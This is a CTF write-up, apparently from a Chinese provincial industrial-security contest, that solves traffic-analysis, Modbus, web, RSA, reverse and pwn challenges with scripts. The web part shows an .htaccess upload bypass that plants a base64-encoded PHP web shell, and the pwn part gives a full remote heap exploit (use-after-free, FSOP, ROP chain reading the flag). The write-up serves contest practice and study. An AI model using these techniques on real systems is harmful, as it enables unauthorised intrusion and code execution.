工业安全线上赛(2022省复赛)

531 阅读5分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。


Lcx

HNGK-流量分析

打开流量包,观察流量,追踪TCP流,查询到其中有flag.php

image.png 接着在linux中使用grep指令,可以对文件进行关键字搜索 grep "flag" -a test.pacp

image.png

接着查询png关键字 grep ".png" -a test.pacp

image.png

发现存在base64加密的图片,接着使用脚本解密即可

import os, base64

img_str = '(base64码)'

img_data = base64.b64decode(img_str)

with open('1.png', 'wb') as f:

   f.write(img_data)

得到flag

image.png

HNGK-Modbus流量分析

打开流量包,观察流量数据,使用脚本分析流量包中Modbus/TCP的协议功能码

import pyshark

def get_code ():
     captures = pyshark.FileCapture("Modbus.pcap")

     func_codes =  {}

     for c in captures :

         for pkt in c :

             if pkt.layer_name == "modbus":

                 func_code = int ( pkt.func_code)

                 if func_code in func_codes:

                     func_codes [ func_code ]   += 1

                 else :

                     func_codes [ func_code ]  = 1

     print ( func_codes ) 
 
 if __name__ == '__main__' :
     get_code ()

运行得到1(读取线圈状态),3(读多个寄存器),4(读输入寄存器),2(读取输入内容),四个功能码都出现了702次,唯独16(预置多个寄存器)功能码只出现了两次,所以猜测与16功能码相关的流量可能存在关键数据,于是运行脚本分析与16功能码相关的流量,提取其中的数据

运行脚本:

import pyshark
def find_flag():
     cap = pyshark.FileCapture("Modbus.pcap")
     idx = 1
     for c in cap:
         for pkt in c:
             if pkt.layer_name == "modbus":
                 func_code = int(pkt.func_code)
                 if func_code == 16:
                     payload = str(c["TCP"].payload).replace(":", "")
                     print(hex_to_ascii(payload))
                     print("{0} *".format(idx))
         idx += 1def hex_to_ascii(payload):
 data = payload
 flags = []
 for d in data:
     _ord = ord(d)
     if (_ord > 0) and (_ord < 128):
         flags.append(chr(_ord))
 return ''.join(flags)if __name__ == '__main__':
 find_flag()

运行的得到一串数据:

00000000003901100001001932005400680065004d006f006400620075007300500072006f0074006f0063006f006c0049007300460075006e006e00790021

在线转换即得flag

image.png Flag:flag{TheModbusProtocolIsFunny!}

HNGK-modbus

流量包过滤modbus协议后,筛选不同的modbus.func_code == 1的功能码,然后观察发现两个目的地址异常的流量包1643和5486

image.png 对id减一为发送包

Flag:flag{1642+5485}

HNGK-加密文件分析

对加密的压缩文件密码爆破

image.png

爆破出来密码为10101739; 解密BB1后在力控中恢复,选择开发

image.png 在窗口里的标签中得到flag

image.png Flag:flag{fjsdkalg}

HNGK-奇怪的工控协议

打开流量包,追踪TCP流,在流为1处发现flag

image.png

.@.f.@l.@a.@g.@{.@s.@o.@r.@t.@_.@_.@1.@0.@4.@}

Flag:flag{sort__104}

Web

HNGK-blik

Payload:ls image.png

Flag: flag{1ggtf9d68cc2vu028ac0qkutqvqsvfl6}

HNGK-onepiece

上传.htaccess,上传的内容有检测<?,添加gif为php解析,利用伪协议进行base64绕过

image.png AddType application/x-httpd-php .gif php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"

接着上传shell.gif

image.png

传入值为一句话密码的base64加密值,密码为whoami

image.png

Flag:flag{1ggtcscuchk334028ac0qkutqmqsvfkt}

Crypto

HNGK-HardRSA

是一个RSA,使用脚本爆破p,q

from gmpy2 import *
from Crypto.Util.number import *
# coding=utf-8
import random
import libnum

n  = 75314708877985876609891002668743876625554190294166511210009550179954413879734907287395890885734882006305000064658341495591490553852990740634932819033664336759786999376788951906380623027099236652601832025317652283419527455478573200079725665895206177368408570970326643545210806238705537263439737999272322484393
d = 10304874744787654147496365278986478201114950968434882459767596171356827577657686449351556699845391000049127292331775147314862622929371560548378501236023888087293532591829210438002936193106686968965664061672386720994287123226920682554316401724229936815553418464587344630901327534059887918508779592213104601681
for e in range(10000,99999):
    if e%1000==0:print(e)
    # if isPrime(e):
    k = e * d - 1
    r = k
    t = 0
    while True:
        r = r / 2
        t += 1
        if r % 2 == 1:
            break
    success = False
    for i in range(1, 101):
        g = random.randint(0, n)
        y = pow(g, r, n)
        if y == 1 or y == n - 1:
            continue

        for j in range(1, t):
            x = pow(y, 2, n)
            if x == 1:
                success = True
                break
            elif x == n - 1:
                continue
            else:
                y = x
        if success:
            break
        else:
            continue
    if success:
        p = libnum.gcd(y - 1, n)
        q = n / p
        print('P: ' + '%s' % p)
        print('Q: ' + '%s' % q)
        # else:
        #     print 'Cannot compute P and Q'

image.png

接着输出flag

# coding=utf-8
from gmpy2 import *
from md5 import md5
q=8134764250316914977240939055123307507750874306113160101218096577677584025654326282630936230074917597921184142227850055873398652706587349895667411302286629
p= 9258376341398185999350718486678388748086924961707902231684477676159974982924771328403762590710189676719483651720152226906035715671461950810512232162187317
print(is_prime(p))
print(is_prime(q))
print(p*q)
print("Flag: flag{%s}" %md5(str(p + q)).hexdigest())

Flag:flag{77d93d7406e76acbd8fc571296beba37}

Reverse

HNGK-cool

使用py解包工具解包 image.png 然后在线pyc反编译出cool.pyc 解密脚本

#!/usr/bin/env python

# visit https://tool.lu/pyc/ for more information

# Version: Python 3.8

 

import base64

#flag = input('Input the flag: ')

flag = "0z~UXYD}zaD5e~MRzesGZJ-Oi"
flag = "flag{Pyth0n_is_c001}"
x = base64.b64encode(flag.encode())
y = list(x)
y.reverse()
encrp = ''
for i in range(len(y)):
    if i % 2 == 0:
        y[i] = y[i] ^ 34
        continue
    if i % 3 == 0:
        y[i] = y[i] ^ 51
        continue
    if i % 5 == 0:
        y[i] = y[i] ^ 85

encrp = ''

for i in range(len(y)):
    y[i] = chr(y[i])
    encrp += y[i]
print(encrp)

#======================================

flag = "0z~UXYD}zaD5e~MRzesGZJ-Oi"
y = []
for i in range(len(flag)):
    y.append(ord(flag[i]))

for i in range(len(y)):
    if i % 2 == 0:
        y[i] = y[i] ^ 34
        continue
    if i % 3 == 0:
        y[i] = y[i] ^ 51
        continue
    if i % 5 == 0:
        y[i] = y[i] ^ 85

for i in range(len(y)):
    print(chr(y[i]),end='')

a = "=0XMwAzYfNXaf5GMoRXeQt3ZhxmZ"
print()
for i in range(len(a)):
    print(a[len(a)-i-1],end='')

print()
b = "ZmxhZ3tQeXRoMG5faXNfYzAwMX0="
print(base64.b64decode(b))

image.png

Flag: flag{Pyth0n_is_c001}

HNGK-guess

按位减63后base64

image.png

解密脚本

import base64

 
a = "Bw0CCDwKByAa8RYgCBYGFBQgAg8FIBUTGj4="
b = base64.b64decode(a)
for i in range(len(b)):
    c = b[i] + 63;
    print(chr(c),end='')

flag: flag{if_you_guess_and_try}

 

Pwn

HNGK-easyheap

delete函数中存在UAF漏洞,edit两次,但是free七次;

image.png

攻击思路就是修改edit与free次数无限大;然后利用house of cat劫持栈进而完成orw泄露flag

Exp

from pwn import *
#from pwncli import *
context(log_level='debug',os='linux',arch='amd64')

binary = './easyheap'
#r = process(binary)
r = remote('47.92.207.120','25239')
elf = ELF(binary)
libc = elf.libc
free_got = elf.got['free']
bss_heap = 0x0000000000404180
edit_flag = 0x0000000000404090
free_flag = 0x0000000000404098
ret = 0x0000000000401704
def add(size,payload=b'\x00'):
    r.sendlineafter("Please input your choice: \n",str(1))
    r.sendlineafter("Please input chunk size: ",str(size))
    r.sendafter("Please input your content: ",payload)
    
def edit(idx,payload): # 2次机会
    r.sendlineafter("Please input your choice: \n",str(2))
    r.sendlineafter("Please input your index: ",str(idx))
    r.sendafter("Please input your content: ",payload)
    
def delete(idx): # 7次机会
    r.sendlineafter("Please input your choice: \n",str(3))
    r.sendlineafter("Please input your index: ",str(idx))
    
def show(idx):
    r.sendlineafter("Please input your choice: \n",str(4))
    r.sendlineafter("Please input your index: ",str(idx))
    r.recvuntil("Your content is: ")
    tmp_addr = int(r.recvuntil('\n')[:-1],16)
    return tmp_addr;
    
def decode(num):
    n1 = num & 0xffff # 低位
    n2 = (num & 0xffff0000)>>16
    n3 = (num & 0xffff00000000)>>32
    n4 = (num & 0xffff000000000000)>>48 # 高位
    if n1 == 0x44:
        n1 = 0;
    else:
        n1 = n1 ^ 0x44
    if n1 == 0:
        n2 = n2 ^ 0x33
    else:
        n2 = n2 ^ n1 ^ 0x33
    if n2 == 0:
        n3 = n3 ^ 0x22
    else:
        n3 = n3 ^ n2 ^ 0x22
    if n3 == 0:
        n4 = n4 ^ 0x11
    else:
        n4 = n4 ^ n3 ^ 0x11
    #print(hex(n1))
    #print(hex(n2))
    #print(hex(n3))
    #print(hex(n4))
    tmp_num = (n1*0x1000000000000)+(n2*0x100000000)+(n3*0x10000)+n4
    return tmp_num
ex = lambda : r.sendlineafter("Please input your choice: \n",str(5))

one = [0xe3afe,0xe3b01,0xe3b04]
add(0x18)
add(0x18)
add(0x18)
add(0x18,b'flag\x00\x00\x00x\x00') # 3
delete(0)
delete(1)
edit(1,p64(bss_heap))
add(0x18) # 4
add(0x18,p64(free_got)+p64(edit_flag-0x8)+p64(free_got-0x8)) # 5
edit(1,p64(0xffff)*3)
free_addr = decode(show(0))
#success("free_addr -> "+hex(free_addr))
# 0x5ea987867fff0044 -> 0x7fccf868a6d0
libc_base = free_addr-libc.sym['free']
system = libc_base+libc.sym['system']
puts = libc_base+libc.sym['puts']

io_list_all = libc_base+libc.sym['_IO_list_all']
pointer = libc_base+0x1F3570
setcontext = libc_base+libc.sym['setcontext']
#success("system -> "+hex(system))

pop_rdi_ret = libc_base+0x0000000000023b6a # : pop rdi ; ret
pop_rsi_ret = libc_base+0x000000000002601f # : pop rsi ; ret
pop_rdx_ret = libc_base+0x0000000000142c92 # : pop rdx ; ret
o = libc_base+libc.sym['open']
rr = libc_base+libc.sym['read']
w = libc_base+libc.sym['write']

_IO_wfile_jumps = libc_base+libc.sym._IO_wfile_jumps
_IO_2_1_stderr_ = libc_base+libc.sym._IO_2_1_stderr_
stderr = 0x4040e0

edit(5,p64(stderr)+p64(pointer)+p64(bss_heap+0x18))
heap_base = decode(show(2))-0x300
edit(0,p64(heap_base+0x310)) # 修改_IO_2_1_stderr_
pointer_context = decode(show(1)) # 泄露heap
heapaddr = heap_base
next_chain = 0
fake_IO_FILE = p64(0)*4 # __vfprintf_internal
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heapaddr+0x3c0)#rdx  
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x1000)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(heapaddr+0x340) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x10)  # vtable=IO_wfile_jumps+0x10   触发 _IO_switch_to_wget_mode
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heapaddr+0x340+0x10)  # rax2

flagaddr=heapaddr+0x300
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x530)+p64(ret) # rsp 0x150
#payload1=payload1

payload2  = p64(pop_rdi_ret)+p64(flagaddr)+p64(pop_rsi_ret)+p64(0)+p64(o)
payload2 += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_heap+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(rr)
payload2 += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss_heap+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(w) # 0x98


add(0x200,payload1) # 6
add(0x100,payload2) # 7
edit(5,p64(heap_base+0x630)*3)
edit(0,p64(0)+p64(0x13))
success("system -> "+hex(system))
success("free_addr -> "+hex(free_addr))
success("heap_base -> "+hex(heap_base))
success("pointer_context -> "+hex(pointer_context))
#gdb.attach(r)
#pause()
r.sendlineafter("Please input your choice: \n",str(1))
r.sendlineafter("Please input chunk size: ",str(0x50))


r.interactive()


'''
0x000000000005b4d0: mov rsp, rdx; ret;
0x0000000000128856: mov rdx, rax; call qword ptr [rbx + 0x28];
0x0000000000156038: mov rdx, rax; mov qword ptr [rsp + 0x10], rax; mov rax, qword ptr [rdi + 8]; shr rdx, 0x20; mov qword ptr [rsp + 8], rdx; call qword ptr [rax + 8];
'''
'''
 RAX  0x537300 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RBX  0x4019e0 (__libc_csu_init) ◂— endbr64
 RCX  0x0
 RDX  0x18
*RDI  0x537300 ◂— 0x68732f6e69622f /* '/bin/sh' */
 RSI  0xffffffda
 R8   0x1999999999999999
 R9   0x0
 R10  0x7fe47f8e9ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
 R11  0x7fe47f8ea3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
 R12  0x401190 (_start) ◂— endbr64
 R13  0x7ffeb5b40610 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffeb5b40510 —▸ 0x7ffeb5b40520 ◂— 0x0
 RSP  0x7ffeb5b40500 ◂— 0x0
*RIP  0x401783 (delete+126) ◂— call   0x4010e0
'''





'''
heap_base = 0
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1E8C60
_IO_cookie_jumps = libc_base + 0x1E8A20
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base + 0x1F3570
expected = heap_base + 0x1900 
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
 
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
 
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
 
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
 
 
data = flat({
    0x8: target_addr - 0x20,
    0x10: {
        0: {
            0: bytes(f1),
            0x100:{
                0: bytes(f2),
                0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
                0x100: [
                    add_rsp_0x20_pop_rbx_ret,
                    chain + 0x100,
                    0,
                    0,
                    mov_rsp_rdx_ret,
                    0,
                    pop_rdi_ret,
                    chain & ~0xfff,
                    pop_rsi_ret,
                    0x4000,
                    pop_rdx_rbx_ret,
                    7, 0,
                    libc.sym.mprotect,
                    chain + 0x200
                ],
                0x200: ShellcodeMall.amd64.cat_flag
            }
        },
        0xa80: [0, 0xab1]
    }
})

image.png

Flag:flag{1ggti74i70bopk028ac0qkutr6qsvfld}